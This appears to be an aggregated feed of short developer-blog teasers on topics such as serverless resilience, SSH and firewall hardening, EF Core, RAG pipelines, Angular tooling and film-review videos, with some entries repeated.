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    Building Resilient Serverless Workloads with the Circuit Breaker Pattern
    Modern distributed systems rely on many external dependencies. Payments, In this article, we will look at how the Circuit Breaker pattern helps you prevent cascading failures, reduce wasted retries, and allow systems to recover gracefully. We will also walk through an AWS Lambda implementation using DynamoDB as the state store and see how the entire flow works in real serverless applications. Detects when a dependency becomes unhealthy Stops sending requests that are likely to fail Gives downstream systems time to recover Performs periodic test calls to check if the service is healthy again Works extremely well with a storage-first approach Prevents cascading failures and wasted retries Introduces a small amount of latency and state handling Requires tuning of thresholds and cooldown setti…  ( 10 min )
    C++ Through the Years : From Classic to Modern
    C++98 was the first international standard for the language. C++03 was a maintenance update, fixing defects and inconsistencies. Object-oriented programming (classes, inheritance, polymorphism) Templates (generic programming) Exceptions Namespaces STL (Standard Template Library) including: vector, map, set, list algorithms (sort, find) iterators No move semantics → heavy copying, lower performance No type inference → verbose code Limited compile-time programming Early template errors were difficult to understand C++11 is considered the largest update in the history of the language. Move semantics Rvalue references std::unique_ptr, std::shared_ptr (smart pointers) auto type deduction Range-based for loops Lambda expressions nullptr constexpr static_assert std::thread, mutex, lock_guard, a…  ( 7 min )
    SSH Access to Proxmox Without Exposing Your Lab
    Virtualization tech — once locked away in enterprise data centers — now powers all kinds of home labs. I use mine for learning, tinkering, and running services like Proxmox VE. Whether you’re running a homelab business, learning cybersecurity, or just self-hosting your media, one thing tends to come up: secure access to the hypervisor. A reader recently asked best practices for SSH and Proxmox. This guide is my answer. I’ll walk through the exact setup I use — including my jump box, SSH hardening, hardware-backed keys, and how I work with QubesOS to manage everything securely. While this is based on how I use Proxmox, most of the techniques apply to other virtualization platforms or Linux systems in general. Why I Use SSH with Proxmox 🔧 Part 1: Locking Down SSH on the Jump Box and Proxmox…  ( 10 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest rapid-fire roast of the fun, over-the-top demon-hunting musical. In under 16 minutes they tally every trope, plot hole and eye-roll-worthy moment, all while cracking jokes and keeping the pace lightning-fast. On top of the sinning, they drop links to their socials, invite you to join polls and Discord, plug Patreon support, and give shout-outs to the writers behind the mayhem. It’s a cheeky, self-aware send-up that’s part critique, part variety show. Watch on YouTube  ( 6 min )
    JSON CSV converter
    What Is This Tool & Why Do You Need It? Imagine you have data from a website or app (in JSON format) but you need to open it in Excel. Or maybe you have a spreadsheet (CSV format) that you want to use in a web application. That's exactly what this converter does - it translates between these two popular data formats instantly. JSON (JavaScript Object Notation) Storing complex information with multiple levels Sending data between websites and apps (APIs) Keeping data organized when items have different fields Modern software development Real example: When you check the weather on your phone, the app receives JSON data from a weather service that looks like {"temperature": 72, "condition": "sunny", "humidity": 45}. What it is: CSV is the simple, universal format that spreadsheet programs like Excel and Google Sheets love. It's just a text file where data is organized in rows and columns, separated by commas. Opening in Excel or Google Sheets Sharing with people who aren't programmers Simple data that fits in a table Maximum compatibility across different programs Real example: When you export your contacts from your email program, you often get a CSV file that you can open in Excel to edit and organize. Why You Need to Convert Between Them "I got data from a website, but I need to analyze it in Excel" You used an API or downloaded data from a web service (JSON format) "I have a spreadsheet I need to upload to a website" You maintain a product catalog or customer list in Excel (CSV format) "My developer sent me JSON data, but I can't read it" A programmer shares technical data with you "I need to share data with someone who doesn't use Excel" You have Excel data but need to send it to an app or website Try out and enjoy json-csv converter  ( 7 min )
    AIDE - File Integrity Monitoring for System Security
    Before dashboards, before SIEMs, there was one simple question: “Did my files change?” My first exposure to the idea of file intrusion detection came in the early 2000s, when a coworker installed an open-source version of Tripwire. He used it to scan a Linux system he kept under his desk, storing the results on a read-only flash drive. At the time, it seemed like overkill. Fast forward to today, and host-based intrusion detection tools are a fundamental part of maintaining system integrity. While many administrators lean on logs for signs of intrusion, there's a deeper layer of security in tracking actual file changes. After all, if you want to catch an attacker changing your configuration or binaries, you need a tool that notices silent alterations—not just noisy events. 🔍 Why File Integ…  ( 10 min )
    AI Agentic RAG Pipeline to Surface Community Insights from Census Data
    Disclaimer: I am a product person, not a coding guru but this works and it brought value to the lean startup I was working for. Project Overview Github: https://github.com/cliffordodendaal/community-insights-pipeline Role: Technical Architect, AI Onboarding Lead Timeline: 2 weeks (September 2025) Platform: Modular RAG pipeline + Streamlit UI + Python + Langchain Impact: Enabled natural-language querying over census PDFs, built a reproducible ingestion pipeline, and laid the foundation for mentoring others into AI workflows Executive Summary This project delivers a modular Retrieval-Augmented Generation (RAG) pipeline that transforms static census PDFs into a searchable knowledge base. Built with LangChain, FAISS, and OpenAI, the system enables users to ask natural-language questions and …  ( 8 min )
    Rethinking Code Quality Analysis
    Originally published on Entropic Drift When you run a typical static analysis tool on your codebase, you get flooded with alerts. Hundreds of warnings about cyclomatic complexity, function length, and nesting depth. The tools treat all complexity equally—a simple validation function with 20 identical if statements gets the same severity rating as genuinely complex business logic with intricate state transitions. The result? Alert fatigue. Developers learn to ignore the noise, and genuinely risky code gets lost in the shuffle. Try it yourself: All code examples in this post are available at github.com/iepathos/debtmap/tree/master/examples/why-debtmap-samples. Clone the repo and run debtmap analyze . to see the actual output. Consider these two functions: fn validate_config(config: &Config) …  ( 12 min )
    Day 20 : Django Learning
    Nothing much again to log in, the struggle with setting up database in Render and avoid the bad gateway issue. I could not figure it out, irrespective of many changes, I would like to seek out some help! Please help me to set this up and start working again, if not, I have to stick to the default one that comes with Django! Django #WebDevelopment #Python #LearningInPublic #100DaysOfCode #BeginnerDev #postgresql  ( 6 min )
    Building Tenders SA: Part 1 - From Problem to Platform Architecture
    The Problem: South Africa's Tender Opportunity Gap In South Africa, government tenders represent billions of rands in business opportunities. Yet, small and medium businesses struggle to access these opportunities. The existing tender platforms are fragmented, difficult to navigate, and lack intelligent matching capabilities. Businesses spend hours searching through irrelevant opportunities, often missing perfect matches due to the sheer volume of daily tender publications. We set out to solve this with Tenders SA - an AI-powered tender matching platform designed specifically for the South African market. Our vision was simple but ambitious: Centralize all South African tender opportunities in one place Intelligently match businesses with relevant opportunities using AI Simplify the tend…  ( 11 min )
    We Are Hiring – Join Our Growing IT Team
    Our server-reselling project is expanding, and we are looking for dedicated German-based IT professionals who value clean, reliable, and well-structured work. If you enjoy building stable systems rather than chasing trends, you may be the right fit for us. 1. Frontend / Full-Stack Developer (m/f/d) Required skills: PHP Angular TypeScript SCSS NG Bootstrap We value developers who write maintainable code, follow established patterns, and appreciate a traditional, structured workflow. 2. IT Specialist – System Integration (m/f/d) Responsibilities: Server setup and administration Network and infrastructure maintenance Troubleshooting Continuous improvement of internal systems A calm, methodical approach to system work is essential. 3. IT Security Specialist (m/f/d) Required knowledge: Security audits Hardening and risk analysis Firewalls, IDS/IPS, encryption Clear documentation Security is not a trend for us – it is a responsibility. Good German language skills Only German developers will be considered No salary provided (voluntary collaboration / partner-based work) A stable environment Long-term technical growth Clear responsibilities Traditional, structured IT work with real impact Interested? If you want to contribute to a reliable and growing infrastructure project, we would be glad to hear from you. Get in touch and join us.  ( 6 min )
    New version 4.1 has come out in the meantime! Check the last comment. Async factory DI is now supported, and deferred async injections let heavy dependencies initialize in the background so the server boots instantly while handling unavailable services.
    Introducing YasuiJS — A Modern, Minimal REST Framework for Any Runtime Thomas BARKATS ・ Nov 6 #typescript #webdev #backend #api  ( 6 min )
    EF Core Migrations Troubleshooting Guide — Design Package, Tooling Versions & Multi‑Project Setups
    If you work with Entity Framework Core long enough, you’ll eventually hit the “migrations wall”: “The contextual keyword 'var'…“? No. “Cannot drop database because it is currently in use”? Sometimes. But more often it’s one of these three classics: “Your startup project doesn’t reference Microsoft.EntityFrameworkCore.Design” “The Entity Framework tools version 9.0.5 is older than runtime 10.0.0” “Your target project TechNotes doesn’t match your migrations assembly TechNotes.Infrastructure” The good news: these errors are 100% normal in real-world, multi-project solutions—and they’re also 100% fixable once you understand what EF Core is trying to tell you. This post is a copy‑paste‑ready troubleshooting guide you can keep open in your terminal while you work. Design‑Time Package Missin…  ( 11 min )
    Connecting PostgreSQL to Power BI
    Introduction Power BI is one of the most popular business intelligence tools for data visualization and analytics. Combined with PostgreSQL, a powerful open-source relational database, you can create dashboards and reports. This guide will walk you through connecting PostgreSQL to Power BI using two approaches: a local PostgreSQL installation and Aiven's cloud hosted PostgreSQL service. Download PostgreSQL from the official PostgreSQL website and follow the installation process. Download Power Bi from the Microsoft store. During installation, note that your user password and port number. If yours is local then the default port number is 5432. Ensure your database contains the data you want to visualize. Make sure your PostgreSQL server is active. Host: localhost Port: 5432 Default d…  ( 8 min )
    Controlling Blender with Gemini 3
    Controlling Blender with Gemini 3 Gemini 3 was recently announced. According to the benchmarks, it belongs to the top tier in coding capabilities. I tried using it with the Blender API, and it felt not just competitive, but potentially better than other models. Here is a quick introduction. It generates objects like these from simple prompts: It can even generate rigs and animations. Since it seemed quite powerful, I built a Streamlit app to interactively input prompts. https://github.com/unclepomedev/BlenderGeminiAgent There are no specific benchmarks for Blender coding, so this is just my personal impression, but Gemini 3 feels superior to other models for this task. If this intuition is correct, I wonder if it is due to the influence of YouTube training data or its multimodal capabilities.  ( 6 min )
    SFTP, FTPS, or Something Better? Choosing the Right File Transfer Approach for 2026
    Despite the explosion of APIs and cloud-native integrations, file-based data exchange hasn’t gone away. Enterprises still rely on batch processing, nightly ETL jobs, data exports, and vendor file drops to move critical data between systems. APIs are great, but they don’t solve everything. Compliance rules, legacy vendor systems, and auditors still demand secure file-based transfers. That leaves developers maintaining fragile SFTP servers, managing SSH keys, user permissions, and backups just to keep “simple” nightly jobs running. This post gives a ground-level look at FTP and SFTP, explains where they fit in modern systems, and shows how SFTP To Go can simplify secure file transfers without requiring you to manage servers yourself. The Protocols: FTP, SFTP, and Where They Fit in Modern Sys…  ( 11 min )
    Machine Learning Syllabus for MAKAUT
    Unit 1: Supervised Learning Regression Classification Basic methods: Distance-based methods, Nearest-Neighbours, Decision Trees, Naive Bayes Linear models: Linear Regression, Logistic Regression, Generalized Linear Models Support Vector Machines (SVM) Nonlinearity and Kernel Methods Beyond Binary Classification: Multi-class, Structured Outputs, Ranking Unit 2: Unsupervised Learning Clustering: K-means, Kernel K-means Dimensionality Reduction: PCA (Principal Component Analysis), Kernel PCA Matrix Factorization and Matrix Completion Generative Models: Mixture models and Latent Factor Models Unit 3: Evaluating ML Algorithms & Model Selection Evaluation of Machine Learning Algorithms Model Selection Introduction to Statistical Learning Theory Ensemble Methods: Boosting, Bagging, Random Forests Unit 4: Advanced Modeling Sparse Modeling and Estimation Modeling Sequence/Time-Series Data Deep Learning and Feature Representation Learning Unit 5: Scalable and Advanced ML Topics Scalable Machine Learning Online Learning Distributed Learning Advanced Topics (selection among): Semi-supervised Learning Active Learning Reinforcement Learning Inference in Graphical Models Introduction to Bayesian Learning and Inference Unit 6: Recent Trends Recent trends in machine learning learning techniques Recent trends in classification methods  ( 6 min )
    My Beginner-Friendly Debugging Checklist for Any Node.js API Issue
    Debugging backend issues used to feel chaotic when I first started working with Node.js and Express. Errors seemed random, console logs looked useless, and I often had no idea whether the problem was in the route, middleware, controller, or database. Over time, I built a simple debugging checklist that works consistently. This guide is meant for beginners but follows a clean, professional approach you can rely on even as you grow. Most bugs come from the client, not the server. Before touching your backend code, check: Is the body structured the way your API expects? Are you sending JSON while forgetting express.json()? Missing headers or wrong token format? Incorrect URL or query parameters? Use tools like: Postman / Thunder Client to test raw requests Browser Network tab to inspect ac…  ( 8 min )
    Using GitHub Copilot for Terraform code refactoring
    Terraform and OpenTofu are the only major IaC tools today that provide a fully deterministic, declarative, provider-agnostic, predictable execution plan across AWS + Azure + other cloud platforms. However, the Terraform development experience is still close to what we had for JavaScript in 2008: we have syntax highlighting, basic static analysis, and basic code navigation. But the Terraform code refactoring still should be done manually. We still have no button "extract resources to the module" in JetBrains IDE or VS Code. Mainly because in the Terraform world, code refactoring should go together with state transformation. By the end of 2024 in my team had written a lot of Terraform code. We have learned how to master infrastructure as code using Terraform, our expertise has grown up and t…  ( 7 min )
    Predictive and secure look-ahead log interception using Aho-Corasick & log tokenization (Java & Spring)
    The Purpose: Credit card information SSNs/TaxIDs Email addresses Access Tokens/API Keys Customer IDs Session identifiers If these logs reach Splunk, ELK, CloudWatch, S3, or shared storage without redaction, companies can violate PCI DSS, GDPR, HIPAA, SOX, CCPA, and internal info-sec policies. Goal: This Gives: 🔒 Security (no raw PII/PCI stored in logs) Why Aho–Corasick for Log Interception? Regex is powerful but slow — especially when scanning logs with 50+ sensitive patterns. Aho–Corasick builds a finite automaton (trie + failure links) that searches all patterns simultaneously. Benefits: If your application handles millions of log lines an hour, Aho–Corasick might be helping hand here, consuming fewer resources. Architecture Implementation Adding the dependencies: <gro…  ( 8 min )
    Announcing udwall: A New Tool for Making UFW and Docker Play Nice With Each Other
    Many of us believe that the combination of UFW and Docker is the standard stack for deploying applications securely without exposing docker container ports. Configuring UFW via provisioning tools like Ansible is usually seamless, giving us confidence that our servers are secure. However, there is a massive, often overlooked security gap in this setup that meanse using UFW with Docker can be dangerous. Basically, even though your UFW status says "Active" and is set to block all incoming traffic, Docker container ports often remain wide open to the public internet. At Hexmos, we are dedicated to enhancing the developer experience, having built tools like Livereview and FreeDevtools. We investigated this critical security flaw and built udwall to finally make UFW and Docker compatible by def…  ( 10 min )
    Understanding the C Compilation Process
    This article grew out of my journey to revisit C from a systems perspective. Most of my career has been in Notes/Domino, Java, and Drupal, and although I learned C during my university years, I never used it extensively in practice. Lately, my curiosity has pushed me to return to the fundamentals and understand what really happens beneath the surface. This article is for anyone who shares that same curiosity—those who want to peek under the hood and see what truly happens when we hit compile. This article is the first entry in a learning packet I’m putting together called What Happens to Your C Program When It’s Compiled. We begin with the preprocessing stage—the starting point of the compilation process. Hosted on GitHub: Understanding the C Compilation Process — Part I: Preprocessing  ( 6 min )
    I Built a Free AI Mastery Roadmap (And Why It's Not Another $500 Course)
    I wasted months learning Claude Code the hard way. Random tutorials. Scattered docs. Trial and error. Hours spent figuring out what should've taken minutes. So I built the roadmap I wish I'd had from day one. And I'm open-sourcing it because gatekeeping knowledge is nonsense. This is NOT: Another $500 course promising mastery in 30 days A collection of random tips you'll forget tomorrow Vaporware that looks good but doesn't work A marketing funnel disguised as education This IS: 24 atomic learning units you can complete in 15-30 minutes each Structured progression from beginner to power user Repeatable exercises you practice 3-5 times to build muscle memory Measurable ROI - track exactly how much time you save Completely free on GitHub I'm a solo dev building products like DevClose (daily …  ( 10 min )
    OLIVE OIL: THE METABOLIC MEDICINE MOST PEOPLE ARE USING WRONG By Edward Obuz
    If you are using olive oil only for frying or a bit of salad dressing, you might be leaving most of its metabolic benefits on the table. Used correctly, high quality extra virgin olive oil can improve fat burning, stabilize blood sugar, reduce inflammation, and support calmer cortisol patterns. The key is quality and timing, not hype or miracle claims. In this article I will walk through what the research actually shows, how I use olive oil in my own routine, and a simple seven day protocol you can experiment with safely. This is educational, not medical advice. If you have a medical condition or take medication, talk to your healthcare provider before making changes. The Fat Burning Science Behind Extra Virgin Olive Oil Several mechanisms make olive oil metabolically interesting: PPAR alp…  ( 13 min )
    AI for Bharat: Tired of Just Reading About AI? It’s Time to Start Building
    Artificial Intelligence is reshaping industries, accelerating careers, and creating new opportunities every single day. Yet most developers in India are stuck in the same cycle: 👉 Watching tutorials …but not building anything real. AI for Bharat is here to break that cycle. This is your chance to join a nationwide movement designed for one purpose: Turn AI theory into real-world building. ⭐ Program Highlights at a Glance Before we dive deeper, here’s everything you need to know right away: 👥 Team Size: 1–5 Members Work solo or collaborate with a small, powerful team. 🎓 Age Requirement: 18+ Anyone above 18 can participate—students, professionals, beginners, all are welcome. 🇮🇳 India Only A movement built for Indian developers, shaping India’s AI future. 🌐 Fully …  ( 7 min )
    8-Bit Music Theory: Kirby Air Riders' Music is FUN FUN FUN
    Kirby Air Riders’ “Starlit Journey” Breakdown 8bitMusicTheory dives into the exuberant main theme of Kirby Air Riders, “Starlit Journey,” explaining how each section—intro, verse, chorus, bridge and final choruses—combines playful melodies and bright harmonies to create that signature joy. Time‐stamped segments guide you through the song’s structure and highlight the musical tricks that make it so irresistibly fun. Along with the analysis, you’ll find links to support the channel—Patreon, merch, Discord and Twitter—plus a sprinkled dose of #kirby, #nintendo and #gamemusic love for anyone who can’t get enough of 8-bit charm. Watch on YouTube  ( 6 min )
    Building Domain-Specific AI Agents Through Configuration, Not Code
    Building Domain-Specific AI Agents Through Configuration, Not Code I built a framework where you can create specialized AI agents (like a Compliance Reviewer or Travel Planner) by writing a YAML file instead of coding. Same core, infinite possibilities. Built entirely with Kiro IDE's powerful features. Want to build a compliance reviewer AI? Write hundreds of lines of code. Need a travel planning assistant? Write hundreds more lines. Want to add a customer support bot? You guessed it - more code, more complexity, more maintenance. What if you could create a new AI agent just by writing a configuration file? That's exactly what I set out to build during the Kiroween Hackathon 2025. Agent Skeleton is a configuration-driven framework for building domain-specific AI agents. The same core fra…  ( 12 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz in 15 Minutes (Or Less) CinemaSins is back on the yellow brick road now that Wicked is back in theaters—this time digging into the 1978 classic The Wiz to see if it’s better (or worse) than you remember, all in their trademark snarky “Everything Wrong With” style. For more sinfully fun content, hit up their website or Linktree for channels like TV Sins and Commercial Sins, fill out their poll, or support them on Patreon. You can also follow the team—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—on Twitter or Instagram, and join the party on Discord, Reddit, TikTok and more. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins dives into the neon-soaked world of KPop Demon Hunters, rattling off every quibble, plot hole and eyebrow-raising moment in under 16 minutes—complete with their trademark snark and “sins” tally. Along the way they plug their main site and socials (YouTube channels, Discord, Reddit, TikTok, Instagram), invite you to fill out a quick poll, and encourage adoring fans to fuel the sin machine on Patreon. Watch on YouTube  ( 6 min )
    Building a Location Picker in React Native Maps (with Draggable Marker & Address Lookup)
    Introduction In my previous post, I covered how to integrate Google Maps and display the user’s live location. Now let’s take it one step further — by creating a location picker where users can drag a marker or move the map to select an address. This feature is perfect for checkout pages, delivery address setup, or event creation screens. We’ll continue using: npx expo install react-native-maps expo-location Optional (for reverse geocoding): npx expo install expo-location import React, { useState, useEffect } from 'react'; import { View, Text, StyleSheet } from 'react-native'; import MapView, { Marker } from 'react-native-maps'; import * as Location from 'expo-location'; export default function LocationPicker() { const [region, setRegion] = useState(null); const [address, setAddre…  ( 8 min )
    Spring Security Flow
    When a user submits login details, Spring Security’s authentication filter intercepts the request and converts it into an Authentication object. This object is then passed to the AuthenticationManager. The AuthenticationManager decides which authentication method to use (e.g., database authentication, OAuth, LDAP, or custom logic). It forwards the request to the appropriate AuthenticationProvider. The AuthenticationProvider contains the logic for validating the user. It uses the UserDetailsService to load user information and the PasswordEncoder to verify the password. If authentication succeeds, it returns a fully authenticated Authentication object. The authentication filter receives the result. If the credentials are valid, Spring Security stores the authentication object in the SecurityContext, which is maintained in the SecurityContextHolder. For every subsequent request, Spring Security checks this context (session or JWT token) to determine whether the user is already authenticated. If the token or session is valid, the request proceeds; otherwise, the user is denied access.  ( 6 min )
    Do companies share API docs with third-party integration providers?
    Do companies usually provide their API documentation (Swagger/OpenAPI, etc.) to third-party companies, like integration providers or tools that plug into their system? If so, is it usually complete, or are parts commonly restricted?  ( 6 min )
    Launching EC2 with Git Bash: Why SSH Is Preferable to PuTTY.
    SSH let me copy my .pem key and connect instantly, while PuTTY forced me to convert to .ppk every time SSH saved time, reduced friction, and scaled securely. This project matters because it teaches secure, real‑world cloud skills: launching EC2, using SSH with .pem keys, avoiding PuTTY conversions, and hosting a webpage. It builds automation habits, scales easily, and mirrors workflows businesses rely on daily. Step by Step on how to SSH into Ubuntu EC2 from Gitbash. Launch an EC2 Instance Log in to the AWS Management Console. Search for EC2 and open the EC2 dashboard. Click Launch Instance. Fill in the details: Name: e.g., elmaurserver. AMI (Amazon Machine Image): Choose Ubuntu Server 22.04 LTS (or Amazon Linux if you prefer). I choose Ubuntu. Instance type: Start with t2.micro (free ti…  ( 7 min )
    How to Build Your Own Claude Chat App on AWS Bedrock with AWS CDK (Beginner-Friendly Step-by-Step Guide)
    🔗 Original article in Spanish: https://dev.to/chainiz/crea-tu-propio-chat-con-claude-en-aws-bedrock-usando-aws-cdk-guia-paso-a-paso-para-principiantes-20ag Learn how to build and deploy a serverless AI chat application powered by Claude 3.5 Sonnet (Anthropic) on AWS Bedrock, using AWS CDK (Python) — from scratch. Perfect for beginners exploring AWS, Infrastructure as Code, and generative AI development in the AWS ecosystem. In this hands-on project you will deploy: A Lambda function that invokes Claude 3.5 on AWS Bedrock A REST API built with API Gateway (/chat) A static web chat interface hosted on S3 Fully automated provisioning using AWS CDK (Python) This tutorial gives you a complete end-to-end AI application running in minutes. Make sure you have: AWS account with Bedrock model acces…  ( 8 min )
    Resolvendo o desafio 509. Fibonacci Number
    Link A lógica do fibonacci é bem simples. O número atual é resultado da soma do número anterior mais o seu anterior (n-1)+(n-2). Considerando apenas o conjunto dos números naturais, adicionamos uma regra para os números 0 e 1, cujo os seus correspondentes são eles mesmos f(0) = 0 e f(1)=1 e assim temos a sequência 0 1 1 2 3 5 ... podemos começar com então com a que representa a função matemática de Fibonacci f(n) = f(n-1) = f(n-2), a solução recursiva. Na solução recursiva vamos colocar: Nosso caso base n = 0 e n = 1 E a expressão matemática f(n) = f(n-1) = f(n-2) É uma solução simples e compreensiva, porém acredite não é a das melhores. Vamos pensar em fib(6), e realizar um teste de mesa (não vou trocar fib(1) e fib(0) por 1 e 0 no nosso teste de mesa porque não precisamos no…  ( 9 min )
    Linux Kernel: Interrupt Handling (Part 2)
    Table of Contents Introduction Exception Levels: Privilege Hierarchy The Dual Stack Mechanism at EL1 Typical Execution Contexts Exception Link Register (ELR_EL1) Saved Program Status Register (SPSR_EL1) Exception Syndrome Register (ESR_EL1) Vector Base Address Register (VBAR_EL1) Current Exception Level Register (CurrentEL) GIC Components Interrupt Types and Triggering GIC to CPU Signaling Interrupt Masking Hardware-Automated Exception Entry Vector Offset Calculation This article breaks down the IRQ journey path for modern Linux on ARMv8-A, following a single interrupt through hardware exception entry, kernel assembly paths, IRQ and softirq subsystems, and finally back to user or kernel context. ARMv8-A organizes execution into four Exception Levels (EL0-EL3), with higher numbers indica…  ( 11 min )
    Revolutionising Content Management: An Introduction to AEM Business Agents
    While exploring Adobe Experience Manager's latest AI capabilities, I came across Business Agents in AEM as a Cloud Service. Here's what I learned about this interesting development in enterprise content management. Business Agents are essentially AI-powered assistants that live inside AEM as a Cloud Service. The interesting part is how Adobe has broken down different content management challenges into specialized agents rather than creating one general-purpose AI tool. What caught my attention is that these aren't just experimental features—they're production-ready tools designed to handle real enterprise workflows. Though it's worth noting they're only available for AEM as a Cloud Service and Edge Delivery Services, not the older versions. This one tackles something I've seen teams strugg…  ( 9 min )
    From Intern to Employee: How a Digital CV Gets You Noticed
    I’ll be honest—getting noticed in today’s talent jungle feels harder than ever. You can have all the skills, certifications, weekend projects, and still end up buried in a recruiter’s inbox. I’ve been there. It’s frustrating, almost insulting sometimes. But here’s the twist: A digital CV can change your entire story. living, scrollable, clickable profile that shows who you are—not just what you’ve done. I didn’t really believe in digital CVs until a close friend proved me wrong without even trying. The Internship Story That Changed My Mind A few years ago, a friend of mine—let’s call her Riya—was applying for a marketing internship. She had no connections, no fancy degree, nothing “wow.” But she built a simple digital CV using an online portfolio builder (yep, those things do more than l…  ( 9 min )
    TypedSql: Turning the C# Type System into a Query Engine
    0. Introduction TypedSql started from a very practical annoyance. Most of the time when I write “queries” in .NET, my data is already in memory. I have an array or a List. I just want to filter and project it. Sure, I can: write a foreach loop — fast, explicit, but a little noisy use LINQ — nice to read, but with iterator/delegate overhead or, in extreme cases, push everything into a database and write real SQL TypedSql explores a different route: What if we treated the C# type system itself as the query plan? Instead of: building an expression tree at runtime, and interpreting it over the data, we compile a SQL‑like string into a closed generic type that describes the whole pipeline, and then run that pipeline entirely through static methods. This post is a deep dive into how that w…  ( 21 min )
    Vinyl Tracker Project Overview
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    The 'Slow Productivity' Revolution: Why Doing Less is the Key to Achieving More in the Age of AI
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    Cloud FinOps in Action: How I Saved Thousands by Optimizing AWS Architectures
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    8-Bit Music Theory: Kirby Air Riders' Music is FUN FUN FUN
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    Stop Memory Leaks! The Practical Guide to WeakMap and WeakSet
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    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
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    🚀 TOON for Laravel — A Complete Tutorial to Make AI Prompts Cheaper & Faster
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    Don Quixote Of Orchestration: Building For Problems No One Sees Yet
    I think I have a strange "talent" that is both a gift and a curse. I tend to see certain problems very early. I see the cracks long before they become visible to everyone else. With AI this has always been about one thing: the need to orchestrate cognition instead of trying to babysit a single model with clever prompts and brittle guardrails. While most of the field is still obsessed with "the right system prompt" and endless tweaks around one big LLM, I have spent months building something very different: OrKa, a modular cognition layer that makes AI reasoning observable, traceable, and deterministic enough to be trusted. It routes. It scores. It logs every decision. It treats reasoning as a graph, not as a black box. And this is where the frustration starts. A small group of people see i…  ( 13 min )
    Pwnagotchi Generator: Understanding opwngrid Through Reverse Engineering
    Testing distributed systems is hard. But what if the system you need to test has no official documentation? That's where reverse engineering comes in. The Pwnagotchi Generator started as a deep dive into understanding how opwngrid's authentication and reporting protocols work under the hood. The Pwnagotchi ecosystem relies on opwngrid to share captured WiFi handshakes across devices. But to build effective testing tools, I needed to understand: How does authentication actually work? What cryptographic signing scheme is used? How are access points reported and validated? What rate limiting or anti-abuse mechanisms exist? Can the protocol handle extreme edge cases? The only way to answer these questions was to reverse engineer the protocol itself. My first step was examining how real Pwnagot…  ( 10 min )
    Search Online - Arama Motoru
    Merhaba arkadaşlar, ben Koray Korkmaz. Yaklaşık 1 yıl önce yayınladığım ve o günden beri sürekli güncellediğim/ geliştirdiğim arama motoru projemi sizlerle paylaşmak istiyorum: Search Online Tamamen farklı bir yaklaşımla hazırlanmış, alternatif bir arama motoru. 🔗 "https://sites.google.com/view/searchonline-search" Eğer kullanıp beğenirseniz, lütfen arkadaşlarınıza, yakınlarınıza ve sevdiklerinize paylaşarak onların da denemesini sağlayın. Aldığım her geri bildirim sayesinde Search Online’ı daha da iyi hale getirebilirim. Bir yıldır aktif olarak geliştiriyorum ve hâlâ yolun çok başındayız. Sizlerin desteğiyle çok daha geniş kitlelere ulaşıp çok daha güçlü bir arama motoru haline gelebileceğine inanıyorum. Görüş, öneri, eleştiri ya da sorunuz olursa memnuniyetle bekliyorum: technologykeycom@gmail.com Ayrıca geliştirdiğim diğer projelere de göz atmak isterseniz: https://key-com-technology.itch.io" İlginiz ve desteğiniz için şimdiden çok teşekkür ederim. Saygılarımla, İşte arama motorumdan birkaç görsel: Arayüzden Bir Kesit: Tümü Kategorisi İle Arama: Görseller Kategorisi İle Arama: Videolar Kategorisi İle Arama: Haberler Kategorisi İle Arama: Alışveriş Kategorisi İle Arama:  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
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    Dominando o MCP Server no Angular v21 - Configuração e Melhores Práticas para Fluxos de Trabalho com IA
    O Angular v21 não é apenas sobre Signals e performance Zoneless; ele marca o início de uma nova era focada na Developer Experience impulsionada pela Inteligência Artificial. A peça central dessa revolução é o MCP Server, uma ferramenta que promete mudar a forma como interagimos com o framework e o CLI. Se o primeiro artigo foi o seu guia para as features imediatas (Signal Forms), este é o seu mapa para o futuro do desenvolvimento Angular, focado em arquitetura e produtividade de alto nível. Neste guia, você aprenderá: O que é o MCP Server e qual seu papel no ecossistema Angular. Como configurá-lo corretamente no seu projeto. As melhores práticas para usá-lo em cenários práticos de code generation e refatoração. 1. O Que É o MCP Server? (Managed Code Provider) O MCP Server…  ( 9 min )
    Tokenization in NLP: The Foundational Step That Turns Language Into Data
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    Building a static AI friendly landing page as an experiment
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    🚀 Token Estimation for AI Prompts in Laravel — TOON
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    5 Must-Read Books to Master Software Architecture and System Design
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    Perjalananku Belajar React dan TypeScript
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    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Leveraging Service Stored Procedures (SSPs) in Uniface 10.4
    In the world of enterprise application development with Uniface, performance is king. One often underutilized but powerful feature in Uniface 10.4 is the concept of Service Stored Procedures (SSPs). If you are working with heavy data processing or complex SQL logic, moving that logic closer to the data (the DBMS) is usually the best optimization strategy. Here is a deep dive into what SSPs are, why you should use them, and the constraints you need to watch out for. In Uniface, a Service Stored Procedure isn't just a raw SQL script. It acts as a bridge. Technically, it uses the Uniface activate statement to address a Stored Procedure Component that you define within the Signature Editor. Ideally, you use these when you want to execute DBMS-specific stored procedures but maintain a generic P…  ( 8 min )
    Building DiskCleanKit – My Journey from a Simple Idea to Mac App Store 🚀
